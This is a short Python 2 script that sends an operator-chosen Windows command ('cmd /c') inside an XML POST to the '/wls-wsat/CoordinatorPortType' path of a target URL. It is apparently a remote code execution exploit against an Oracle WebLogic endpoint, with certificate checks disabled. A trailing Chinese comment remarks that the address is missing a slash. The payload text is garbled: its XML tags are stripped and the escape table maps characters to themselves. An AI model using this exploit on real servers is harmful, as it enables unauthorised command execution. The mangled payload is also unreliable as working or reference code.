import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def payload_command (command_in):
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
command_filtered = ""+"".join(html_escape_table.get(c, c) for c in command_in)+""
payload_1 = " \n" \
" " \
" \n" \
" \n" \
" \n" \
" " \
" " \
" cmd " \
" " \
" " \
" /c " \
" " \
" " \
+ command_filtered + \
" " \
" " \
" " \
" " \
" " \
" " \
" " \
" " \
""
return payload_1
def do_post(url_in, command_in):
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header,verify=False)
if result.status_code == 500:
print "Command Executed \n"
else:
print "Something Went Wrong \n"
if __name__ == '__main__':
command_in = raw_input("Enter your command here: ")
url_in = sys.argv[1]
do_post(url_in, command_in)


你这个地址写的不对 啊 少一个 /